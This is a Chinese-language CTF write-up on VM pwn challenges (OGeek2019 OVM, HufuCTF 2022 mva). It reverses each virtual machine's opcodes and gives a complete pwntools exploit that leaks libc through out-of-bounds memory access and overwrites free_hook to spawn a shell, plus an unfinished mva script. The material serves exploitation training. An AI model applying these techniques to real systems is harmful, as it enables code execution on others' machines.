跳转至

VMPwn

VMPwn

VMPwn 一般是程序实现了一个虚拟机,定义了一些 opcode,对用户输入指定格式的 opcode 进行解析,然后执行,这类题目一般是越界导致任意地址的读写,修改函数指针进而 getshell

感觉这类题,和题目交互的逻辑以及格式都得逆很久才能理解...

[OGeek2019 Final]OVM

题目:https://buuoj.cn/challenges#[OGeek2019%20Final]OVM

主要的逻辑在 execute 这个函数里面,前面就是让输入了 PC、SP 寄存器的值,要执行的 code 的大小和内容

1707103517389-b05f41f9-45eb-4f39-89ba-89690f25e397.png

梳理所有的功能:

输入的Opcode含义格式如下:最高位是区分指令的,往后的高中低是用来作为操作数的
0x10:寄存器置为最低位,reg[高] = 低
0x20:寄存器置零,reg[高] = 0
0x30:从内存拷贝到寄存器,reg[高] = memory[reg[低]]
0x40:从寄存器拷贝到内存,memory[reg[低]] = reg[高]
0x50:入栈,push reg[高]
0x60:出栈,pop reg[高]
0x70:加法,reg[高] = reg[低] + reg[中]
0x80:减法,reg[高] = reg[中] - reg[低]
0x90:与运算,reg[高] = reg[低] & reg[中]
0xA0:或运算,reg[高] = reg[低] | reg[中]
0xB0:异或,reg[高] = reg[低] ^ reg[中]
0xC0:左移:reg[高] = reg[中] << reg[低]
0xD0:右移,reg[高] = (int)reg[中] >> reg[低]
0xE0:退出,当reg[13]也就是sp不为0时可打印寄存器reg[0]到reg[15]信息
[X]0xFF:打印寄存器reg[0]到reg[15]信息

发送的数据格式是啥?前面的倒是正常输入就行,后面的 code 格式是啥,code 通过一个循环进行输入,输入的次数就是前面输入的 code size,每次输入的都是一个整型的数

(而且这里会检查你的最高位是不是 0xFF,如果是的话就会直接给你赋值为 0xE0,因此想要使用 0xFF 直接打印寄存器是走不通的)

1707115848929-24f26143-3ff4-4a90-ae1c-5dbf45eec10e.png

尝试按照如下格式,倒是没啥问题,可以执行:

#coding=utf-8
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p = process("./pwn")
#gdb.attach(p, "b *0x0000555555554CF9")
#pause()
code = [0x10020003,0x100D0003,0xE0000000]   #设置reg[2]为3,设置reg[13]也就是sp为3,E0退出并打印寄存器信息

p.sendlineafter("PCPC: ","0")
p.sendlineafter("SP: ","0")
p.sendlineafter("CODE SIZE: ",str(len(code)))
p.recvuntil("CODE: ")
for i in range(len(code)):
    p.send(str(code[i]))
    p.send("\n")
p.sendlineafter("HOW DO YOU FEEL AT OVM?","yichen")
p.interactive()

然后来考虑怎么利用,题目中对 memory 和 reg 的索引都是通过我们输入的下标来完成的,reg 还好说,没有定义的 reg 写了也没啥用,但是 memory 是和程序本身的内存在一块的,因此如果可以控制 memory 到程序本身的内存中实际可以完成任意地址的读写

首先来完成写操作,内存在 BSS 段中起始地址:0x202060,大小:0x10000,通过以下指令将寄存器 1 中的数据写到了内存 menory[reg[3]] 中

code = [
    0x20030000,   #寄存器3设置为0
    0x100100AA,   #寄存器1设置为AA
    0x100200BB,   #寄存器2设置为BB
    0x10030003,   #寄存器3设置为3
    0x40010003,   #寄存器1拷贝到memory[reg[3]]
    0x100D0003,   #寄存器13设置为3 避免直接退出
    0xE0000000,   #退出并打印寄存器信息
]

不知道为啥,总是会把我要用的寄存器加 1,我置零也不管用,就直接赋值了

1707186162194-6e6c9c91-faa9-457b-b7c1-be1c85c9444d.png

尝试通过任意地址写把寄存器的值赋到非 memory 的位置(R1 赋到了 memory[-1])

code = [
    0x20030000,   #寄存器3设置为0
    0x10040002,   #寄存器4设置为2
    0x80030304,   #寄存器3减2  因为不知道为啥会自己+1
    0x100100AA,   #寄存器1设置为AA
    0x100200BB,   #寄存器2设置为BB
    0x40010003,   #寄存器1拷贝到memory[reg[3]]
    0x100D0003,   #寄存器13设置为3
    0xE0000000,   #退出并打印寄存器信息
]

1707128404908-34f5da1e-a525-439a-b4ff-b6505285419c.png

再试一下任意地址读 memory[-8] 读到 R1(0x60-0x40=0x20,0x20/0x4=8)

code = [
    0x20030000,   #寄存器3设置为0
    0x10040009,   #寄存器4设置为9
    0x80030304,   #寄存器3减9  因为不知道为啥会自己+1
    0x30010003,   #memory[reg[3]]拷贝到寄存器1
    0x100D0003,   #寄存器13设置为3
    0xE0000000,   #退出并打印寄存器信息
]

1707128913720-7d7a9395-40aa-4edd-9937-c95696877b2b.png

到这里读写就完成了,接下来就是怎么利用了

bss + 0x202040   comment
bss + 0x202060   memory
bss + 0x242060   reg

看了 wp,comment 在结束的时候会 free 掉,如果把 free_hook 改为 system,把 comment 指向的内容改为 "/bin/sh" 即可

关键这些位置在什么地方呢,妈的他们都知道,就是不写怎么算的 Orz...

在 bss 段上面有一个 got 表,其中 write 函数的偏移地址是:0x201F88 距离 memory 偏移 D8,D8/4=36,所以直接减去 37 就可以把 write 函数的低四位放到 R1 寄存器中,减去 38 把 write 函数的高四位放到 R2 寄存器中

code = [
    0x20030000,   #寄存器3设置为0
    0x10040037,   #寄存器4设置为37
    0x80030304,   #寄存器3减37  因为不知道为啥会自己+1
    0x30010003,   #memory[reg[3]]拷贝到寄存器1
    0x20030000,   #寄存器3设置为0
    0x10040038,   #寄存器4设置为37
    0x80030304,   #寄存器3减37  因为不知道为啥会自己+1
    0x30020003,   #memory[reg[3]]拷贝到寄存器2
    0x100D0003,   #寄存器13设置为3
    0xE0000000,   #退出并打印寄存器信息
]

1707187314827-f091a897-63e0-41d3-b269-f89c1cf7f75b.png

0x7FFFF7B043B0,后面调用的,free_hook 函数地址应该是这么看吧,偏移为:0x2cf3f8,试了几次这个是固定的,但是不知道在平台上是不是固定的 Orz...

1707189516988-f0db3a29-fd84-4c61-9975-decdbdc1e3cf.png

1707189606313-e6f8022b-7dc6-468c-aa8e-9e1033a6a241.png

那么问题来了,如何把 R2 R1 中存的 write 函数的地址减去一个偏移得到 free_hook 的地址呢,其实前面的 R2 都不用动,这个地址太大了,直接把 R1 减去 0x2cf3f8 就行

code = [
    0x20030000,   #寄存器3设置为0
    0x10040037,   #寄存器4设置为37
    0x80030304,   #寄存器3减37  因为不知道为啥会自己+1
    0x30010003,   #memory[reg[3]]拷贝到寄存器1
    0x20030000,   #寄存器3设置为0
    0x10040038,   #寄存器4设置为37
    0x80030304,   #寄存器3减37  因为不知道为啥会自己+1
    0x30020003,   #memory[reg[3]]拷贝到寄存器2
    0x10060008,   #寄存器6设置为8 用作左移的单位
    0x1005002c,   #寄存器5设置为2c
    0xc0050506,   #reg[5]=reg[5]<<reg[6] 左移8位
    0x100700f3,   #寄存器7设置为f3
    0x70050507,   #reg[5]=reg[7]+reg[5]   #此时reg[5]是2cf3
    0xc0050506,   #reg[5]=reg[5]<<reg[6] 左移8位
    0x100700f8,   #寄存器7设置为f8
    0x70050507,   #reg[5]=reg[7]+reg[5]   #此时reg[5]是2cf3f8

    0x100D0003,   #寄存器13设置为3
    0xE0000000,   #退出并打印寄存器信息
]

1707197258616-2a1152c1-881e-47e9-bb87-39a475c21506.png

free hook 改为什么呢,system 函数?距离 write 函数相差 0xb2010,也就是减完之后要再加回来 0x2cf3f8-0xb2010=0x21d3e8

1707197835867-cf5eb0c1-d918-4e19-a1da-dc2fdc689a16.png

code = [
    0x20030000,   #寄存器3设置为0
    0x10040037,   #寄存器4设置为37
    0x80030304,   #寄存器3减37  因为不知道为啥会自己+1
    0x30010003,   #memory[reg[3]]拷贝到寄存器1
    0x20030000,   #寄存器3设置为0
    0x10040038,   #寄存器4设置为37
    0x80030304,   #寄存器3减37  因为不知道为啥会自己+1
    0x30020003,   #memory[reg[3]]拷贝到寄存器2
    0x10060008,   #寄存器6设置为8 用作左移的单位
    0x1005002c,   #寄存器5设置为2c
    0xc0050506,   #reg[5]=reg[5]<<reg[6] 左移8位
    0x100700f3,   #寄存器7设置为f3
    0x70050507,   #reg[5]=reg[7]+reg[5]   #此时reg[5]是2cf3
    0xc0050506,   #reg[5]=reg[5]<<reg[6] 左移8位
    0x100700f8,   #寄存器7设置为f8
    0x70050507,   #reg[5]=reg[7]+reg[5]   #此时reg[5]是2cf3f8
    0x80010105,   #reg[1]=reg[1]-reg[5]   此时r2 r1存放free_hook地址

    0x10080021,   #寄存器8设置为21
    0xc0080506,   #reg[8]=reg[8]<<reg[6] 左移8位
    0x100700d3,   #寄存器7设置为d3
    0x70080807,   #reg[8]=reg[7]+reg[8]   #此时reg[8]是21d3
    0xc0080506,   #reg[8]=reg[8]<<reg[6] 左移8位
    0x100700e8,   #寄存器7设置为e8
    0x70080807,   #reg[8]=reg[7]+reg[8]   #此时reg[8]是21d3e8
    0x100D0003,   #寄存器13设置为3
    0xE0000000,   #退出并打印寄存器信息
]

到这又卡住了,我怎么往里写呢,这个地址在我寄存器里面,我只能通过数组的越界去写,而我通过 reg 来控制偏移到不了那么大的啊 Orz...

看了其他人的 WP 发现是通过控制 comment 实现的,comment 存了一个指针,通过修改这个指针到 free_hook 附近的任何地址,可以直接把 /bin/sh 写过去,顺便把 free_hook 给覆盖了,那么我们就把 comment 写成 free_hook - 8,这样最后 comment 的时候先发 /bin/sh 覆盖了 free_hook - 8,再发 system 把 free_hook 给覆盖了,然后 free 的时候就可以执行 system('/bin/sh') 了

comment 相对 memory 的偏移是:0x202060 - 0x202040 = 0x20,再除以 4 得到 8,另外因为原来的程序时

所以上一步计算 system 函数的过程没用了,也不用在寄存器倒腾偏移了😅

code = [
    0x20030000,   #寄存器3设置为0
    0x10040037,   #寄存器4设置为37
    0x80030304,   #寄存器3减37  因为不知道为啥会自己+1
    0x30010003,   #memory[reg[3]]拷贝到寄存器1
    0x20030000,   #寄存器3设置为0
    0x10040038,   #寄存器4设置为38
    0x80030304,   #寄存器3减38  因为不知道为啥会自己+1
    0x30020003,   #memory[reg[3]]拷贝到寄存器2
    0x50010000,   #push r1
    0x50020000,   #push r2
    0x10060008,   #寄存器6设置为8 用作左移的单位
    0x1005002c,   #寄存器5设置为2c
    0xc0050506,   #reg[5]=reg[5]<<reg[6] 左移8位
    0x100700f3,   #寄存器7设置为f3
    0x70050507,   #reg[5]=reg[7]+reg[5]   #此时reg[5]是2cf3
    0xc0050506,   #reg[5]=reg[5]<<reg[6] 左移8位
    0x100700f0,   #寄存器7设置为f0
    0x70050507,   #reg[5]=reg[7]+reg[5]   #此时reg[5]是2cf3f0
    0x60020000,   #pop r2
    0x60010000,   #pop r1
    0x70010105,   #reg[1]=reg[5]+reg[1]   #得到free_hook-8地址

    0x20030000,   #寄存器3设置为0
    0x10040009,   #寄存器4设置为9
    0x80030304,   #寄存器3减9
    0x40010003,   #把r1拷贝到memory[reg[3]]
    0x20030000,   #寄存器3设置为0
    0x10040008,   #寄存器4设置为8
    0x80030304,   #寄存器3减8
    0x40020003,   #把r2拷贝到memory[reg[3]]

    0x100D0003,   #寄存器13设置为3
    0xE0000000,   #退出并打印寄存器信息
]

完整 EXP:

#coding=utf-8
# 0x202060  memory
# 0x202040  comment
# 0x201F88  write
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#gdb.attach(p, "b *0x0000555555554CF9")
#pause()
code = [
    0x20030000,   #寄存器3设置为0
    0x10040037,   #寄存器4设置为37
    0x80030304,   #寄存器3减37  因为不知道为啥会自己+1
    0x30010003,   #memory[reg[3]]拷贝到寄存器1
    0x20030000,   #寄存器3设置为0
    0x10040038,   #寄存器4设置为38
    0x80030304,   #寄存器3减38  因为不知道为啥会自己+1
    0x30020003,   #memory[reg[3]]拷贝到寄存器2
    0x50010000,   #push r1
    0x50020000,   #push r2
    0x10060008,   #寄存器6设置为8 用作左移的单位
    0x1005002c,   #寄存器5设置为2c
    0xc0050506,   #reg[5]=reg[5]<<reg[6] 左移8位
    0x100700f3,   #寄存器7设置为f3
    0x70050507,   #reg[5]=reg[7]+reg[5]   #此时reg[5]是2cf3
    0xc0050506,   #reg[5]=reg[5]<<reg[6] 左移8位
    0x100700f0,   #寄存器7设置为f0
    0x70050507,   #reg[5]=reg[7]+reg[5]   #此时reg[5]是2cf3f0
    0x60020000,   #pop r2
    0x60010000,   #pop r1
    0x70010105,   #reg[1]=reg[5]+reg[1]   #得到free_hook-8地址

    0x20030000,   #寄存器3设置为0
    0x10040009,   #寄存器4设置为9
    0x80030304,   #寄存器3减9
    0x40010003,   #把r1拷贝到memory[reg[3]]
    0x20030000,   #寄存器3设置为0
    0x10040008,   #寄存器4设置为8
    0x80030304,   #寄存器3减8
    0x40020003,   #把r2拷贝到memory[reg[3]]

    0x100D0003,   #寄存器13设置为3
    0xE0000000,   #退出并打印寄存器信息
]
p.sendlineafter("PCPC: ","0")
p.sendlineafter("SP: ","0")
p.sendlineafter("CODE SIZE: ",str(len(code)))
p.recvuntil("CODE: ")
for i in range(len(code)):
    p.send(str(code[i]))
    p.send("\n")
p.recvuntil("R1: ")
free_hook_l = p.recv(8)
print(free_hook_l)
p.recvuntil("R2: ")
free_hook_h = p.recv(4)
print(free_hook_h)
free_hook = int(("0x" + free_hook_h + free_hook_l),16)
print(hex(free_hook))
libc_base = free_hook - 0x3c67a0
system = libc_base + libc.symbols['system']
payload = '/bin/sh\x00'+p64(system)
p.sendlineafter("HOW DO YOU FEEL AT OVM?",payload)
p.interactive()

【X】ciscn_2021_game

这题有点复杂,还不止是个虚拟机的题,还有些逻辑,还有些游戏逻辑, wp 写的很简略,以后再看

虎符CTF 2022 mva

这道题诡异得很,IDA 解析错了很多地方,先来看 v7 的赋值函数,这个函数是每次循环最先运行的,应该是取提取 opcode 的

1708308275044-8b2de088-c2a2-4aec-b305-98fd6f7de1ab.png

进到函数里面,大体上看是一个转换字节序的操作,通过 dword_403C += 4 这条指令可以看出来,每条指令的长度有四字节

1708308395253-01b2e31f-f6c9-468b-89db-3792a134f2b6.png

从这里可以得知,你输入的 opcode 会以四字节一组来解析,并且会转换大小端序,比如你输入的是 0xAABBCCDD,那么 0xDDCCBBAA 被赋值给了 v7

后面涉及到一些取值的问题,这里解析一下

假如输入的是:0xAABBCCDD
那么v7是:0xDDCCBBAA
其他值分别是:
v6 HIBYTE    0xDD
SBYTE2(v7)   0xCC   
BYTE2(v7)    0xCC  不过这个是无符号数
SBYTE1(v7)   0xBB
(char)v7     0xAA

对于操作码 v5 来说不能大于 0xf,然后使用 switch 根据操作码来进行操作,另外 v10 是 reg 这个我想不出来,完全是看 wp 的,加减乘除这类运算还好说,push 和 pop 也想不出来:

1:reg[0xCC] = 0xDDCCBBAA
2:reg[0xCC] = reg[0xBB] +  reg[0xAA]
3:reg[0xCC] = reg[0xBB] -  reg[0xAA]
4:reg[0xCC] = reg[0xBB] &  reg[0xAA]
5:reg[0xCC] = reg[0xBB] |  reg[0xAA]
6:reg[0xCC] = reg[0xCC] >> reg[0xBB]
7:reg[0xCC] = reg[0xBB] ^  reg[0xAA]
8:?
9:push 0xDDCCBBAA
A:pop reg[0xCC]
B:
C:cmp reg[0xCC], reg[0xBB]
D:reg[0xCC] = reg[0xBB] * reg[0xAA]   这里没检查SBYTE1也就是0xBB这一位
E:reg[0xBB] = reg[0xCC]        这里对0xBB这一位的检查是无符号数检查
F:打印栈顶的值

这些里面检查机制也乱得很,有的只检查一个操作数,有的检查两个,有的是带符号数检查,有的是无符号数检查

利用主要集中在 0xD 和 0xE 这两个操作码上,接下来再理解一下数据格式,就是四字节一组,使用 p32 直接拼起来即可,最后直接使用 \x00 补全到 0x100 个字节

payload = p32(0x11223309)+p32(0x0f00000f)
payload += (0x100 - len(payload)) * b'\x00'

直接写 opcode 太难看了,还是封装成函数

def load(reg, val):       # reg[reg]=val
    command = p8(0x01) + p8(reg) + p8(val >> 8) + p8(val & 0xFF)
    return command

def add(reg, op1, op2):   # reg[reg]=reg[op1]+reg[op2] 
    command = p8(0x02) + p8(reg) + p8(op1) + p8(op2)
    return command

def sub(reg, op1, op2):   # reg[reg]=reg[op1]-reg[op2] 
    command = p8(0x03) + p8(reg) + p8(op1) + p8(op2)
    return command

def mul(reg, op1, op2):   # reg[reg]=reg[op1]*reg[op2]
    command = p8(0x0D) + p8(reg) + p8(op1) + p8(op2)
    return command

def mov(reg, op1, op2):   # reg[op1]=reg[op2]
    command = p8(0x0E) + p8(op2) + p8(op1) + p8(op2)
    return command

def push():               # push reg[0]
    command = p8(0x09) + p8(0) * 3
    return command

def pop():                # pop reg[0]
    command = p8(0x0A) + p8(0) * 3
    return command

def view():               # print stack
    command = p8(0xf) + p8(0) * 3
    return command

def inverse(num):         # 反转
    return (~(num-1) & 0xFF)

有个问题是程序开启了 PIE,想要通过 GDB 下断点需要知道加载的基址,这时候可以用 $rebase(0x17DC) 自动获取基址,然后加上程序中的偏移断下来

gdb.attach(p,"b*$rebase(0x1368)")
pause()

接下来就是泄露 libc 基址、计算 one_gadget 地址、覆盖返回地址

先看泄露 libc 基址,首先来确定一下 reg 的地址在哪,通过 IDA 可以看到 v10 是在栈上的,是 rbp-21C,那么调试的时候看一下在附近的可能能泄露 libc 地址的偏移在什么地方,在 reg[-0x1C] 处,reg[-28]1708327979051-147f293b-6657-47a6-9524-3a72cc6d6c26.png

写负数有些麻烦,不妨换一个,这里偏移为 0x34

1708329543882-f7431206-9c62-4341-bdeb-9f52e1f34b98.png

payload 如下:

payload  = load(0,1)        # reg[0]=1
payload += mul(1,34,0)      # reg[1]=reg[34]*reg[0]
payload += mul(2,35,0)      # reg[2]=reg[35]*reg[0]
payload += mul(3,36,0)      # reg[3]=reg[36]*reg[0]
payload += mul(4,37,0)      # reg[3]=reg[37]*reg[0]

【X】EXP:

from pwn import *
context(os='linux',log_level='debug')
p = process('./mva')

def load(reg, val):      # reg[reg]=val
    command = p8(0x01) + p8(reg) + p8(val >> 8) + p8(val & 0xFF)
    return command

def add(reg, op1, op2):   # reg[reg]=reg[op1]+reg[op2] 
    command = p8(0x02) + p8(reg) + p8(op1) + p8(op2)
    return command

def sub(reg, op1, op2):   # reg[reg]=reg[op1]-reg[op2] 
    command = p8(0x03) + p8(reg) + p8(op1) + p8(op2)
    return command

def mul(reg, op1, op2):   # reg[reg]=reg[op1]*reg[op2]
    command = p8(0x0D) + p8(reg) + p8(op1) + p8(op2)
    return command

def mov(reg, op1, op2):   # reg[op1]=reg[op2]
    command = p8(0x0E) + p8(op2) + p8(op1) + p8(op2)
    return command

def push():               # push reg[0]
    command = p8(0x09) + p8(0) * 3
    return command

def pop():                # pop reg[0]
    command = p8(0x0A) + p8(0) * 3
    return command

def view():               # print stack
    command = p8(0xf) + p8(0) * 3
    return command

def inverse(num):         # 反转
    return (~(num-1) & 0xFF)

payload  = load(0,0x0000)         # reg[0]=1
payload += load(1,0x1111)         # reg[0]=1
payload += load(2,0x2222)
payload += load(3,0x3333)
payload += load(4,0x4444)         # reg[0]=1
#payload += mul(4,inverse(28),0)      # reg[1]=reg[-28]*reg[0]
#payload += mul(2,inverse(27),0)      # reg[2]=reg[-27]*reg[0]
#payload += mul(3,inverse(26),0)      # reg[3]=reg[-26]*reg[0]
#payload += mul(4,inverse(25),0)      # reg[3]=reg[-25]*reg[0]

payload += (0x100 - len(payload)) * b'\x00'

gdb.attach(p,"b *$rebase(0x1421)")
pause()
p.sendafter("input your code now :",payload)
p.interactive()

参考:

奇安信攻防社区-VMPWN初探-不愿再探

VMpwn总结

VMPwn入门学习

学习VM PWN - X1ng’s Blog

VMPwn | The lair of C0yo7e

VMpwn 学习笔记 - 先知社区

VMPwn之温故知新 - 先知社区

虎符CTF-2022 mva 题解_2022 虎符 pwn mva-CSDN博客

2022虎符 mva_dylib 反编译-CSDN博客

原文: https://www.yuque.com/hxfqg9/bin/hvd6thisgy7r96v3